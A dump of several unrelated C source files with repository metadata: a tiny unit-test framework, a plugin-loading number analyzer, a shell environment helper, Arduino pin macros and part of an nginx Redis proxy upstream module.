#endif // MMDEPLOY_CSRC_APIS_C_EXECUTOR_H_
| 2.1875 | 2 |
2024-11-18T22:25:46.183703+00:00 | 2016-11-18T10:22:23 | 3609412e1d1d9a73099ee84f9e9c8c1398d0dac7 | {
"blob_id": "3609412e1d1d9a73099ee84f9e9c8c1398d0dac7",
"branch_name": "refs/heads/master",
"committer_date": "2016-11-18T10:22:23",
"content_id": "f0244ff63000cd690877d2cc6d4b923f11f35437",
"detected_licenses": [
"MIT"
],
"directory_id": "c542441543d00605e1788548585f68aee9748d67",
"extension": "c",
"filename": "minunit.c",
"fork_events_count": 0,
"gha_created_at": "2016-11-17T15:01:43",
"gha_event_created_at": "2016-11-17T15:01:43",
"gha_language": null,
"gha_license_id": null,
"github_id": 74037802,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 8706,
"license": "MIT",
"license_type": "permissive",
"path": "/minunit.c",
"provenance": "stackv2-0115.json.gz:139978",
"repo_name": "lygstate/minunit",
"revision_date": "2016-11-18T10:22:23",
"revision_id": "6589765f116287bd017c05c7985a0db75c016860",
"snapshot_id": "1d21c9021b63231a731232e8584e397a15014d19",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/lygstate/minunit/6589765f116287bd017c05c7985a0db75c016860/minunit.c",
"visit_date": "2020-07-07T09:10:29.848584"
} | stackv2 | #include "minunit.h"
#define MU_MAX_TEST_COUNT 65536
#define MU_MAX_SUITE_COUNT 65536
#if defined(_WIN32)
#include <Windows.h>
#elif defined(__unix__) || defined(__unix) || defined(unix) || (defined(__APPLE__) && defined(__MACH__))
/* Change POSIX C SOURCE version for pure c99 compilers */
#if !defined(_POSIX_C_SOURCE) || _POSIX_C_SOURCE < 200112L
#undef _POSIX_C_SOURCE
#define _POSIX_C_SOURCE 200112L
#endif
#include <unistd.h> /* POSIX flags */
#include <time.h> /* clock_gettime(), time() */
#include <sys/time.h> /* gethrtime(), gettimeofday() */
#include <sys/resource.h>
#include <sys/times.h>
#if defined(__MACH__) && defined(__APPLE__)
#include <mach/mach.h>
#include <mach/mach_time.h>
#endif
#else
#error "Unable to define timers for an unknown OS."
#endif
/* Misc. counters */
int minunit_run = 0;
int minunit_assert = 0;
int minunit_fail = 0;
int minunit_status = 0;
/* Last message */
static char mu_last_message_static[MINUNIT_MESSAGE_LEN];
/* TODO: Use TLS, Thread Local Storage */
char* mu_get_last_message()
{
return mu_last_message_static;
}
/*
* The following two functions were written by David Robert Nadeau
* from http://NadeauSoftware.com/ and distributed under the
* Creative Commons Attribution 3.0 Unported License
*/
/**
* Returns the real time, in seconds, or -1.0 if an error occurred.
*
* Time is measured since an arbitrary and OS-dependent start time.
* The returned real time is only useful for computing an elapsed time
* between two calls to this function.
*/
double mu_timer_real()
{
#if defined(_WIN32)
/* Windows 2000 and later. ---------------------------------- */
LARGE_INTEGER Time;
LARGE_INTEGER Frequency;
QueryPerformanceFrequency(&Frequency);
QueryPerformanceCounter(&Time);
Time.QuadPart *= 1000000;
Time.QuadPart /= Frequency.QuadPart;
return (double)Time.QuadPart / 1000000.0;
#elif (defined(__hpux) || defined(hpux)) || ((defined(__sun__) || defined(__sun) || defined(sun)) && (defined(__SVR4) || defined(__svr4__)))
/* HP-UX, Solaris. ------------------------------------------ */
return (double)gethrtime() / 1000000000.0;
#elif defined(__MACH__) && defined(__APPLE__)
/* OSX. ----------------------------------------------------- */
static double timeConvert = 0.0;
if (timeConvert == 0.0)
{
mach_timebase_info_data_t timeBase;
(void)mach_timebase_info(&timeBase);
timeConvert = (double)timeBase.numer /
(double)timeBase.denom /
1000000000.0;
}
return (double)mach_absolute_time() * timeConvert;
#elif defined(_POSIX_VERSION)
/* POSIX. --------------------------------------------------- */
#if defined(_POSIX_TIMERS) && (_POSIX_TIMERS > 0)
{
struct timespec ts;
#if defined(CLOCK_MONOTONIC_PRECISE)
/* BSD. --------------------------------------------- */
const clockid_t id = CLOCK_MONOTONIC_PRECISE;
#elif defined(CLOCK_MONOTONIC_RAW)
/* Linux. ------------------------------------------- */
const clockid_t id = CLOCK_MONOTONIC_RAW;
#elif defined(CLOCK_HIGHRES)
/* Solaris. ----------------------------------------- */
const clockid_t id = CLOCK_HIGHRES;
#elif defined(CLOCK_MONOTONIC)
/* AIX, BSD, Linux, POSIX, Solaris. ----------------- */
const clockid_t id = CLOCK_MONOTONIC;
#elif defined(CLOCK_REALTIME)
/* AIX, BSD, HP-UX, Linux, POSIX. ------------------- */
const clockid_t id = CLOCK_REALTIME;
#else
const clockid_t id = (clockid_t)-1; /* Unknown. */
#endif /* CLOCK_* */
if (id != (clockid_t)-1 && clock_gettime(id, &ts) != -1)
return (double)ts.tv_sec +
(double)ts.tv_nsec / 1000000000.0;
/* Fall thru. */
}
#endif /* _POSIX_TIMERS */
/* AIX, BSD, Cygwin, HP-UX, Linux, OSX, POSIX, Solaris. ----- */
struct timeval tm;
gettimeofday(&tm, NULL);
return (double)tm.tv_sec + (double)tm.tv_usec / 1000000.0;
#else
return -1.0; /* Failed. */
#endif
}
/**
* Returns the amount of CPU time used by the current process,
* in seconds, or -1.0 if an error occurred.
*/
double mu_timer_cpu()
{
#if defined(_WIN32)
/* Windows -------------------------------------------------- */
FILETIME createTime;
FILETIME exitTime;
FILETIME kernelTime;
FILETIME userTime;
/* This approach has a resolution of 1/64 second. Unfortunately, Windows' API does not offer better */
if (GetProcessTimes(GetCurrentProcess(),
&createTime, &exitTime, &kernelTime, &userTime) != 0)
{
ULARGE_INTEGER userSystemTime;
memcpy(&userSystemTime, &userTime, sizeof(ULARGE_INTEGER));
return (double)userSystemTime.QuadPart / 10000000.0;
}
#elif defined(__unix__) || defined(__unix) || defined(unix) || (defined(__APPLE__) && defined(__MACH__))
/* AIX, BSD, Cygwin, HP-UX, Linux, OSX, and Solaris --------- */
#if defined(_POSIX_TIMERS) && (_POSIX_TIMERS > 0)
/* Prefer high-res POSIX timers, when available. */
{
clockid_t id;
struct timespec ts;
#if _POSIX_CPUTIME > 0
/* Clock ids vary by OS. Query the id, if possible. */
if (clock_getcpuclockid(0, &id) == -1)
#endif
#if defined(CLOCK_PROCESS_CPUTIME_ID)
/* Use known clock id for AIX, Linux, or Solaris. */
id = CLOCK_PROCESS_CPUTIME_ID;
#elif defined(CLOCK_VIRTUAL)
/* Use known clock id for BSD or HP-UX. */
id = CLOCK_VIRTUAL;
#else
id = (clockid_t)-1;
#endif
if (id != (clockid_t)-1 && clock_gettime(id, &ts) != -1)
return (double)ts.tv_sec +
(double)ts.tv_nsec / 1000000000.0;
}
#endif
#if defined(RUSAGE_SELF)
{
struct rusage rusage;
if (getrusage(RUSAGE_SELF, &rusage) != -1)
return (double)rusage.ru_utime.tv_sec +
(double)rusage.ru_utime.tv_usec / 1000000.0;
}
#endif
#if defined(_SC_CLK_TCK)
{
const double ticks = (double)sysconf(_SC_CLK_TCK);
struct tms tms;
if (times(&tms) != (clock_t)-1)
return (double)tms.tms_utime / ticks;
}
#endif
#if defined(CLOCKS_PER_SEC)
{
clock_t cl = clock();
if (cl != (clock_t)-1)
return (double)cl / (double)CLOCKS_PER_SEC;
}
#endif
#endif
return -1; /* Failed. */
}
static int tets_count = 0;
static test_function_info_t tests[MU_MAX_TEST_COUNT];
void mu_add_test(const char* suite_name, const char* test_name, test_function_t test_ptr) {
if (tets_count == MU_MAX_TEST_COUNT) {
printf("Please increase MU_MAX_TEST_COUNT:%d, the test:%s are not added\n", MU_MAX_TEST_COUNT, test_name);
return;
}
printf("add test:%s\n", test_name);
tests[tets_count].suite_name = suite_name;
tests[tets_count].test_name = test_name;
tests[tets_count].test_ptr = test_ptr;
++tets_count;
}
static int suite_count = 0;
static test_suite_info_t suites[MU_MAX_SUITE_COUNT];
void mu_add_suite(const char* suite_name, test_function_t setup, test_function_t teardown) {
if (suite_count == MU_MAX_SUITE_COUNT) {
printf("Please increase MU_MAX_SUITE_COUNT:%d, the test:%s are not added\n", MU_MAX_SUITE_COUNT, suite_name);
return;
}
printf("add suite:%s\n", suite_name);
suites[suite_count].suite_name = suite_name;
suites[suite_count].setup = setup;
suites[suite_count].teardown = teardown;
++suite_count;
}
void mu_run_test(test_function_info_t *test_info) {
test_suite_info_t* suite = test_info->suite;
const char* suite_name = test_info->suite_name;
const char* test_name = test_info->test_name;
test_function_t test_ptr = test_info->test_ptr;
/* Timers */
double timer_real = mu_timer_real();
double timer_cpu = mu_timer_cpu();
if (suite && suite->setup) suite->setup();
minunit_assert = 0;
minunit_status = 0;
test_ptr();
test_info->assert_count = minunit_assert;
minunit_run++;
if (minunit_status) {
minunit_fail++;
if (suite_name) {
printf("F:%s:%s\n", suite_name, test_name);
} else {
printf("F:%s\n", test_name);
}
printf("%s\n", mu_last_message);
}
fflush(stdout);
if (suite && suite->teardown) suite->teardown();
test_info->timer_real = mu_timer_real() - timer_real;
test_info->timer_cpu = mu_timer_real() - timer_cpu;
}
void mu_run_tests() {
}
/* Report */
void mu_report() {
printf("\n\n%d tests, %d assertions, %d failures\n", minunit_run, minunit_assert, minunit_fail);
/*
printf("\nFinished in %.8f seconds (real) %.8f seconds (proc)\n\n",
minunit_end_real_timer - minunit_real_timer,
minunit_end_proc_timer - minunit_proc_timer);*/
}
int main(int argc, char *argv[]) {
mu_run_tests();
mu_report();
return 0;
}
| 2.046875 | 2 |
2024-11-18T22:25:46.265531+00:00 | 2019-09-08T05:22:51 | c6fb4d285d0a1fc4b4f12b785559b0d2ca35a99c | {
"blob_id": "c6fb4d285d0a1fc4b4f12b785559b0d2ca35a99c",
"branch_name": "refs/heads/master",
"committer_date": "2019-09-08T05:22:51",
"content_id": "65bc6d7c3e1ce516df19adc494e72ab69f890075",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "14f98e6a55d5a7711b26e32582339835be4325d6",
"extension": "c",
"filename": "main.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 204970415,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 7809,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/main.c",
"provenance": "stackv2-0115.json.gz:140108",
"repo_name": "LiuTed/NumberAnalyzer",
"revision_date": "2019-09-08T05:22:51",
"revision_id": "d45863c4da6e6f716fd5f8dce14cdda96296cfc3",
"snapshot_id": "ab382bf8ecbf1a54dfd395e1cdd66c22a07ad667",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/LiuTed/NumberAnalyzer/d45863c4da6e6f716fd5f8dce14cdda96296cfc3/main.c",
"visit_date": "2020-07-13T02:39:32.187955"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <dlfcn.h>
#include <errno.h>
#include "analyzer.h"
const char *usage = "Usage: analyzer [-hdDasv] [-f SOURCE] [-m METHOD[,METHOD[...]]] [NUM1 [NUM2 [...]]]\n"
"\t-h: show this message and exit\n"
"\t-d: enable default methods\n"
"\t-D: show default methods and exit\n"
"\t-a: read numbers in argument list (default)\n"
"\t-f: specify source of input, use \'-\' to read from stdin\n"
"\t-s: soft mode, ignore unavailable method, must appear before -m\n"
"\t-v: show title, vv to print detailed log\n"
"\t-m: enable methods in the method list, duplicated method will NOT be ignored.\n"
"\t\tMethod will be searched in default list and other LIBs loaded before by default.\n"
"\t\tOr use LIB:METHOD to specify the library to search"
;
struct callbackList
{
char* name;
struct callback *val;
struct callbackList *next;
} *head, *tail;
void * dlHandle[128] = {NULL};
int nDlOpen = 0;
int verbose = 0;
#define logError(fmt, ...)\
fprintf(stderr, "[ Error ]: " fmt "\n",##__VA_ARGS__)
#define log(fmt, ...)\
do\
{\
if(verbose > 1)\
fprintf(stderr, "[ Log ]: " fmt "\n",##__VA_ARGS__);\
}while(0)
void registerCallback(const char* name, struct callback *ptr)
{
struct callbackList *node = malloc(sizeof(struct callbackList));
node->name = strdup(name);
node->val = ptr;
node->next = NULL;
if(!head)
{
head = tail = node;
}
else
{
tail->next = node;
tail = node;
}
}
void __attribute__((destructor)) exitCallback()
{
int i;
struct callbackList *ptr = head;
while(ptr)
{
struct callbackList *tmp = ptr->next;
free(ptr->val);
free(ptr);
ptr = tmp;
}
for(i = 0; i < nDlOpen; i++)
{
if(dlHandle[i]) dlclose(dlHandle[i]);
}
}
void __attribute__((constructor)) startCallback()
{
dlHandle[nDlOpen++] = dlopen("analyzer.so", RTLD_NOW | RTLD_LOCAL);
if(!dlHandle[0])
{
logError("%s", dlerror());
}
}
void showDefaultList()
{
char **ptr = dlsym(dlHandle[0], "defaultList");
log("defaultList read successfully");
if(!ptr)
{
logError("Cannot find symbol \'defaultList\', check if analyzer.so corrupted");
exit(2);
}
while(*ptr)
{
puts(*ptr);
ptr++;
}
}
int enableDefaultList()
{
char **ptr = dlsym(dlHandle[0], "defaultList");
log("defaultList read successfully");
if(!ptr)
{
logError("Cannot find symbol \'defaultList\', check if analyzer.so corrupted");
return 1;
}
while(*ptr)
{
genFunc_t func = dlsym(dlHandle[0], *ptr);
if(!func)
{
logError("Cannot find symbol %s, corrupted analyzer.so", *ptr);
return 2;
}
log("%s read successfully", *ptr);
registerCallback(*ptr, func());
ptr++;
}
return 0;
}
int openDl(char* name)
{
if(nDlOpen >= 128)
{
logError("Too many opened library (>=128)");
return 1;
}
if(dlopen(name, RTLD_LAZY | RTLD_NOLOAD))
{
return 0;
}
void *handle = dlopen(name, RTLD_LAZY | RTLD_LOCAL);
if(!handle)
{
logError("%s", dlerror());
return 2;
}
log("extra dl: %d %s %p", nDlOpen, name, handle);
dlHandle[nDlOpen++] = handle;
return 0;
}
int findCallback(char* name)
{
int i = 0;
char *sep = strstr(name, ":");
if(sep)
{
*sep = '\0';
if(openDl(name)) return 2;
void *handle = dlopen(name, RTLD_NOLOAD);
genFunc_t func = dlsym(handle, sep+1);
*sep = ':';
if(func)
{
log("func %s found", name);
registerCallback(sep+1, func());
return 0;
}
}
else
{
for(; i < nDlOpen; i++)
{
genFunc_t func = dlsym(dlHandle[i], name);
if(func)
{
log("func %s found in %d", name, i);
registerCallback(name, func());
return 0;
}
}
}
logError("Cannot find symbol %s", name);
return 1;
}
int main(int argc, char **argv)
{
char cmd;
extern int opterr, optind;
extern char *optarg;
int verbose = 0, soft = 0;
struct callbackList *ptr;
FILE *f = NULL;
if(!dlHandle[0])
{
exit(1);
}
if(argc < 2)
{
puts(usage);
exit(0);
}
opterr = 0;
while((cmd = getopt(argc, argv, "hdDaf:m:sv::")) != -1)
{
switch(cmd)
{
case 'h':
puts(usage);
exit(0);
case 'D':
showDefaultList();
exit(0);
case 'd':
if(enableDefaultList() && !soft)
{
exit(2);
}
break;
case 'a':
if(f) fclose(f);
f = NULL;
break;
case 'f':
if(f) fclose(f);
if(!strcmp(optarg, "-"))
{
f = stdin;
}
else
{
f = fopen(optarg, "r");
if(!f)
{
logError("Cannot open file %s", optarg);
exit(3);
}
}
break;
case 'v':
verbose++;
if(optarg)
verbose++;
break;
case 's':
soft = 1;
log("set to soft mode");
break;
case 'm':
{
do
{
char *tmp = strstr(optarg, ",");
if(tmp)
{
*tmp = '\0';
tmp++;
}
if(findCallback(optarg) && !soft)
{
exit(6);
}
optarg = tmp;
}while(optarg);
break;
}
default:
logError("unknown argument, stop parsing");
goto _out;
}
}
_out:
while(1)
{
char arg[32];
double darg;
if(f)
{
if(feof(f)) break;
if(fscanf(f, "%31s", arg) == EOF)
break;
}
else
{
if(optind >= argc) break;
strcpy(arg, argv[optind++]);
}
if(sscanf(arg, "%lf", &darg) != 1)
{
logError("Ignoring illegal input: %s", arg);
continue;
}
for(ptr = head; ptr; ptr = ptr->next)
{
if(ptr->val->iterative)
ptr->val->iterative(darg, ptr->val->priv);
}
}
for(ptr = head; ptr; ptr = ptr->next)
{
if(ptr->val->final)
ptr->val->final(ptr->val->priv);
}
if(verbose)
{
for(ptr = head; ptr; ptr = ptr->next)
{
if(verbose)
printf("%11s ", ptr->name);
}
putc('\n', stdout);
}
for(ptr = head; ptr; ptr = ptr->next)
{
printf("%11.5lf ", ptr->val->getResult(ptr->val->priv));
}
putc('\n', stdout);
return 0;
}
| 2.375 | 2 |
2024-11-18T22:25:46.363264+00:00 | 2020-11-12T16:22:25 | ecc0e05b0fa2bcaed7bef7fcc51f9904be6ba0d4 | {
"blob_id": "ecc0e05b0fa2bcaed7bef7fcc51f9904be6ba0d4",
"branch_name": "refs/heads/master",
"committer_date": "2020-11-12T16:22:25",
"content_id": "61d857a749570a9f5f5bc0a27c4c3e656b7ff240",
"detected_licenses": [
"MIT"
],
"directory_id": "6a5e36b21f74ca8844ac1a4854ccbf31743dbf37",
"extension": "c",
"filename": "env_export.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 220406030,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 653,
"license": "MIT",
"license_type": "permissive",
"path": "/src/lib/libenv/env_export.c",
"provenance": "stackv2-0115.json.gz:140237",
"repo_name": "youpaw/42",
"revision_date": "2020-11-12T16:22:25",
"revision_id": "90e6256ce1c7ed9c5f3e33576eb1aa51cb139285",
"snapshot_id": "f4fc64ea12617c8f797ce93d24f823787f1894aa",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/youpaw/42/90e6256ce1c7ed9c5f3e33576eb1aa51cb139285/src/lib/libenv/env_export.c",
"visit_date": "2023-01-28T21:53:03.257173"
} | stackv2 | //
// Created by Azzak Omega on 9/5/20.
//
#include "cc_hash_map.h"
#include "env.h"
#include "cc_str.h"
int env_export(const char *field)
{
t_hash_pair pair;
size_t name_len;
char *value;
if (!field || !(name_len = get_valid_name_length_no_check(field)) ||
(field[name_len] && field[name_len] != '='))
return (1);
pair.key = strsub(field, 0, name_len);
if (!field[name_len])
{
if ((value = hash_map_get_val(g_inter_env, pair.key)))
pair.value = strdup(value);
else
pair.value = NULL;
}
else
pair.value = strdup(field + name_len + 1);
hash_map_del_one(g_inter_env, pair.key);
return (hash_map_insert(g_env, &pair));
}
| 2.375 | 2 |
2024-11-18T22:25:46.439377+00:00 | 2023-04-24T19:37:34 | a95326b2f19f5ab829864d4e754fa470aa2b8087 | {
"blob_id": "a95326b2f19f5ab829864d4e754fa470aa2b8087",
"branch_name": "refs/heads/main",
"committer_date": "2023-04-24T19:37:34",
"content_id": "e3b9018450e4759e0fe71522358d776840b96cea",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "330899fd4a9653e05e2a09e0a4f30c119af97ad4",
"extension": "h",
"filename": "packedfunc.h",
"fork_events_count": 1,
"gha_created_at": "2022-10-14T22:40:28",
"gha_event_created_at": "2022-11-01T23:25:17",
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 551692225,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 395,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/include/hidet/packedfunc.h",
"provenance": "stackv2-0115.json.gz:140365",
"repo_name": "yaoyaoding/hidet-artifacts",
"revision_date": "2023-04-24T19:37:34",
"revision_id": "f2e9767bb2464bd0592a8ec0b276f97481f13df2",
"snapshot_id": "f8a4707c7fc28aa7bfa4dab3a9f2a9387c020f99",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/yaoyaoding/hidet-artifacts/f2e9767bb2464bd0592a8ec0b276f97481f13df2/include/hidet/packedfunc.h",
"visit_date": "2023-04-30T13:12:57.350002"
} | stackv2 | #pragma once
#ifndef DLL
#define DLL extern "C" __attribute__((visibility("default")))
#endif
enum ArgType {
INT32 = 1,
FLOAT32 = 2,
POINTER = 3,
};
typedef void (*PackedFunc_t)(int num_args, int *arg_types, void** args);
struct PackedFunc {
int num_args;
int* arg_types;
void** func_pointer;
};
#define INT_ARG(p) (*(int*)(p))
#define FLOAT_ARG(p) (*(float*)(p))
| 2.03125 | 2 |
2024-11-18T22:25:46.984349+00:00 | 2018-09-22T21:46:19 | 9fd52a8adced91409eedc38055c0e84d9141dbfb | {
"blob_id": "9fd52a8adced91409eedc38055c0e84d9141dbfb",
"branch_name": "refs/heads/master",
"committer_date": "2018-09-22T21:46:19",
"content_id": "e1091d51c9f6b39fb4005260306f480e0cb2e077",
"detected_licenses": [
"MIT"
],
"directory_id": "30928e56954233dd76bfe16973a1bd01418dcf61",
"extension": "h",
"filename": "board_pins.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 101485580,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2999,
"license": "MIT",
"license_type": "permissive",
"path": "/lib/BOARD/include/board_pins.h",
"provenance": "stackv2-0115.json.gz:141017",
"repo_name": "NicoHood/avr",
"revision_date": "2018-09-22T21:46:19",
"revision_id": "9fefabbf49912ea25b1301be118c513971b74bfe",
"snapshot_id": "eef45377c354a1efefcbb7f1a1fc3108ae2f2cb9",
"src_encoding": "UTF-8",
"star_events_count": 7,
"url": "https://raw.githubusercontent.com/NicoHood/avr/9fefabbf49912ea25b1301be118c513971b74bfe/lib/BOARD/include/board_pins.h",
"visit_date": "2021-01-20T06:07:45.802251"
} | stackv2 | /*
Copyright (c) 2017 NicoHood
See the readme for credit to other people.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
#include <avr/io.h>
#define STR_HELPER(x) #x
#define STR(x) STR_HELPER(x)
// Board variants
#if defined(ARDUINO_LEONARDO) || defined(ARDUINO_MICRO)
// Mapping of analog pins as digital I/O
// A6-A11 share with digital pins
#define A0 (18)
#define A1 (19)
#define A2 (20)
#define A3 (21)
#define A4 (22)
#define A5 (23)
#define A6 (24)
#define A7 (25)
#define A8 (26)
#define A9 (27)
#define A10 (28)
#define A11 (29)
#define digitalPinToPCICR(p) ((((p) >= 8 && (p) <= 11) || ((p) >= 14 && (p) <= 17) || ((p) >= A8 && (p) <= A10)) ? (&PCICR) : ((uint8_t *)0))
#define digitalPinToPCICRbit(p) 0
#define digitalPinToPCMSK(p) ((((p) >= 8 && (p) <= 11) || ((p) >= 14 && (p) <= 17) || ((p) >= A8 && (p) <= A10)) ? (&PCMSK0) : ((uint8_t *)0))
#define digitalPinToPCMSKbit(p) ( ((p) >= 8 && (p) <= 11) ? (p) - 4 : ((p) == 14 ? 3 : ((p) == 15 ? 1 : ((p) == 16 ? 2 : ((p) == 17 ? 0 : (p - A8 + 4))))))
#elif defined(ARDUINO_UNO) || defined(ARDUINO_NANO) || defined(ARDUINO_MINI)
// Mapping of analog pins as digital I/O
#define A0 (14)
#define A1 (15)
#define A2 (16)
#define A3 (17)
#define A4 (18)
#define A5 (19)
#define A6 (20)
#define A7 (21)
#define digitalPinToPCICR(p) (((p) >= 0 && (p) <= 21) ? (&PCICR) : ((uint8_t *)0))
#define digitalPinToPCICRbit(p) (((p) <= 7) ? 2 : (((p) <= 13) ? 0 : 1))
#define digitalPinToPCMSK(p) (((p) <= 7) ? (&PCMSK2) : (((p) <= 13) ? (&PCMSK0) : (((p) <= 21) ? (&PCMSK1) : ((uint8_t *)0))))
#define digitalPinToPCMSKbit(p) (((p) <= 7) ? (p) : (((p) <= 13) ? ((p) - 8) : ((p) - 14)))
#else
#pragma message "Board " STR(BOARD) " Pins not supported. Please define your own board specific pins"
#endif
#ifdef __cplusplus
}
#endif
| 2.15625 | 2 |
2024-11-18T22:25:47.116435+00:00 | 2021-07-02T03:36:03 | 6cf45ce5969141925a9405141717a6f5aef502d9 | {
"blob_id": "6cf45ce5969141925a9405141717a6f5aef502d9",
"branch_name": "refs/heads/main",
"committer_date": "2021-07-02T03:36:03",
"content_id": "ebd2ad0d9e32ce9025f81eb72aed5a7b5e061f5f",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "3a47945f176af6001665d0ea02dcbd45deefab51",
"extension": "c",
"filename": "ngx_stream_upstream_util.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 13964,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/ngx_stream_redis_proxy_module/ngx_stream_upstream_util.c",
"provenance": "stackv2-0115.json.gz:141147",
"repo_name": "zhanglei/redis-cluster-nginx",
"revision_date": "2021-07-02T03:36:03",
"revision_id": "5cdfce4d70d0f3a1b88c49b198a5bcedb1f8dbeb",
"snapshot_id": "dc295cde2b364280d5af7eb062e44ef6106050a9",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/zhanglei/redis-cluster-nginx/5cdfce4d70d0f3a1b88c49b198a5bcedb1f8dbeb/ngx_stream_redis_proxy_module/ngx_stream_upstream_util.c",
"visit_date": "2023-06-11T15:09:29.285546"
} | stackv2 | /*
* Author: lihang
*
* File: ngx_redis_protocol.h
* Create Date: 2017-01-20 12:03:15
*
*/
#include "ngx_stream_upstream_util.h"
static ngx_stream_upstream_server_t*
ngx_stream_upstream_compare_server(ngx_stream_upstream_srv_conf_t * us, ngx_url_t u);
static ngx_stream_upstream_srv_conf_t *
ngx_stream_upstream_find_upstream(ngx_stream_session_t *s, ngx_str_t *host);
static ngx_int_t
ngx_stream_upstream_exist_peer(ngx_stream_upstream_rr_peers_t * peers, ngx_url_t u);
static void *
ngx_prealloc_and_delay(ngx_pool_t *pool, void *p, size_t old_size, size_t new_size);
/*
*add upstream server
*
*upstream_name: upstream_name
*upstream_ip: 127.0.0.1:7005
*/
ngx_int_t
ngx_stream_upstream_add_server(ngx_stream_session_t *s, ngx_str_t upstream_name,
ngx_str_t upstream_ip)
{
ngx_int_t rc;
ngx_stream_upstream_srv_conf_t *uscf;
ngx_stream_upstream_server_t *us;
ngx_url_t u;
if ( upstream_name.len == 0 || upstream_ip.len == 0 ) {
return NGX_ERROR;
}
uscf = ngx_stream_upstream_find_upstream(s, &upstream_name);
if ( uscf == NULL ) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_server upstream not found upstream_name=[%V]", &upstream_name);
return NGX_ERROR;
}
ngx_memzero(&u, sizeof (ngx_url_t));
u.url.len = upstream_ip.len;
u.url.data = ngx_pcalloc(uscf->servers->pool, u.url.len);
ngx_memcpy(u.url.data, upstream_ip.data, u.url.len);
u.default_port = 80;
u.uri_part = 0;
u.no_resolve = 1;
if (ngx_stream_upstream_compare_server(uscf, u) != NULL) {
ngx_log_error(NGX_LOG_DEBUG, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_server this server is exist");
return NGX_ERROR;
}
if (uscf->servers == NULL || uscf->servers->nelts == 0) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_server upstream has no server before!");
return NGX_ERROR;
}
rc = ngx_parse_url(uscf->servers->pool, &u);
if ( rc != NGX_OK && u.err ) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_server url parser error upstream_name=[%v],upstream_ip=[%V]",
&upstream_name, &upstream_ip);
return NGX_ERROR;
}
us = ngx_array_push(uscf->servers);
if (us == NULL) {
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_server us push uscf->servers failed");
return NGX_ERROR;
}
ngx_memzero(us, sizeof (ngx_stream_upstream_server_t));
/*
us->name = u.url;
us->addrs = u.addrs;
us->naddrs = u.naddrs;
us->weight = 0;
us->max_fails = 6;
us->fail_timeout = 0;
*/
if (u.addrs && u.addrs[0].sockaddr) {
us->name = u.host;
//us->name = u.url;
us->addrs = u.addrs;
us->naddrs = u.naddrs;
us->weight = 0;
us->max_fails = 6;
us->fail_timeout = 0;
us->addrs->name = u.addrs[0].name;
us->addrs->sockaddr = u.addrs[0].sockaddr;
us->addrs->socklen = u.addrs[0].socklen;
} else {
//*err = "no host allowed";
ngx_log_error(NGX_LOG_ERR, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_server nohost allowed");
return NGX_ERROR;
}
ngx_log_error(NGX_LOG_DEBUG, s->connection->log, 0,
"[upstream] ngx_stream_upstream_add_server server=[%V] is ok",&u.url);
return NGX_OK;
}
/*
*add upstream server peer
*
*upstream_name: upstream_name
*upstream_ip: 127.0.0.1:7005
*/
ngx_int_t
ngx_stream_upstream_add_peer(ngx_stream_session_t *s, ngx_str_t upstream_name,
ngx_str_t upstream_ip)
{
ngx_uint_t n;
ngx_stream_upstream_srv_conf_t *uscf;
ngx_stream_upstream_server_t *us;
ngx_stream_upstream_rr_peer_t peer;
ngx_stream_upstream_rr_peers_t *peers;
ngx_url_t u;
size_t old_size, new_size;
